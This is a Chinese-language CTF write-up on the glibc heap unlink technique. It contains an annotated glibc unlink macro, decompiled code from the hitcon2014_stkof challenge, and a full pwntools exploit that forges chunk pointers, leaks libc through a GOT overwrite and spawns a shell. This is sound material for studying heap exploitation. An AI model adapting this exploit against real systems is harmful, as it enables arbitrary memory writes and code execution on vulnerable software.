Unlink
概述
unlink简称脱链,利用这个漏洞可以达成任意地址的读写,这个漏洞需要配合offbyone,堆溢等漏洞一起使用。在这里介绍一下unlink的原理。可以看到我们首先有两块被使用chuck,我们把它们设为chuck1和chunk2,如果chuck1存在offbyone,我们便可以修改chuck2的inuse位置为0,同时伪造一个chuck1的子chunk,接下来我们把FD和BK指针分别写成x-0x18&&x-0x10,即可绕过保护,当free2时,chuck1指向x-0x18位置,即可完成任意地址的读写。
/* Take a chunk off a bin list */
// unlink p
#define unlink(AV, P, BK, FD) {
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
//这里是构造chunk所必须满足的第一个条件。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
FD = P->fd;
BK = P->bk;
// 防止攻击者简单篡改空闲的 chunk 的 fd 与 bk 来实现任意写的效果。
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
// 下面主要考虑 P 对应的 nextsize 双向链表的修改
if (!in_smallbin_range (chunksize_nomask (P)) // 如果P->fd_nextsize为 NULL,表明 P 未插入到 nextsize 链表中。
// 那么其实也就没有必要对 nextsize 字段进行修改了。
// 这里没有去判断 bk_nextsize 字段,可能会出问题。
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
// 类似于小的 chunk 的检查思路
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
// 这里说明 P 已经在 nextsize 链表中了。
// 如果 FD 没有在 nextsize 链表中
if (FD->fd_nextsize == NULL) {
// 如果 nextsize 串起来的双链表只有 P 本身,那就直接拿走 P
// 令 FD 为 nextsize 串起来的
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
// 否则我们需要将 FD 插入到 nextsize 形成的双链表中
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
// 最后将构造的chunk中(*fd)=bk
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
实验
背景
这边选用了hitcon2014_stkof作为背景,我们可以看到存在堆溢出的漏洞同时没有开启PIE,于是便符合了我们的攻击条件,我们可以利用unlink的攻击方式获取任意地址读写的权利,我们先申请4块堆块,多申请是为了避免堆块合并的发生接下来我们修改chuck2去达成unlink,接下来修改chuck2的值为free地址,就可以写入puts泄露出libc地址,接下来只要修改为system地址即可getshell。
/*create*/
signed __int64 create()
{
__int64 size; // [rsp+0h] [rbp-80h]
char *v2; // [rsp+8h] [rbp-78h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
size = atoll(&s);
v2 = malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
S[++dword_602100] = v2;
printf("%d\n", dword_602100, size);
return 0LL;
}
/*edit*/
fgets(&s, 16, stdin);
n = atoll(&s);
ptr = S[v2];
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
{
ptr += i;
n -= i;
}
EXP
from pwn import *
elf = ELF("./stkof")
libc = ELF("./libc-2.23.so")
context.log_level = 'debug'
debug = 1
if debug==1:
io = process("./stkof")
else:
io = remote("node4.buuoj.cn",28210)
def create(size):
io.sendline("1")
io.sendline(str(size))
io.recvuntil("OK")
def edit(index,size,content):
io.sendline("2")
io.sendline(str(index))
io.sendline(str(size))
io.send(content)
def free(index):
io.sendline("3")
io.sendline(str(index))
io.recvuntil("OK")
ptr = 0x0602150
free_got = elf.got["free"]
puts_got = elf.got['puts']
puts_plt = elf.symbols['puts']
atoi_got = elf.got['atoi']
create(0x80) #1 puts
create(0x30) #2 puts
create(0x80) #3 free
create(0x80) #4
FD = ptr-0x18
BK = ptr-0x10
payload = p64(0)+p64(0x31)+p64(FD)+p64(BK)
payload+= b'A'*0x10+p64(0x30)+p64(0x90)
edit(2,0x40,payload)
free(3)
payload = p64(0)+p64(atoi_got)+p64(puts_got)+p64(free_got)
edit(2,len(payload),payload)
payload = p64(puts_plt)
edit(2,len(payload),payload)
free(1)
addre = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addre------>"+hex(addre))
system = addre-libc.symbols['puts']+libc.symbols['system']
print("puts_addre------>"+hex(system))
#gdb.attach(io)
edit(2,0x08,p64(system))
edit(4,0x08,b'/bin/sh\x00')
io.sendline('3')
io.sendline(str(4))
io.interactive()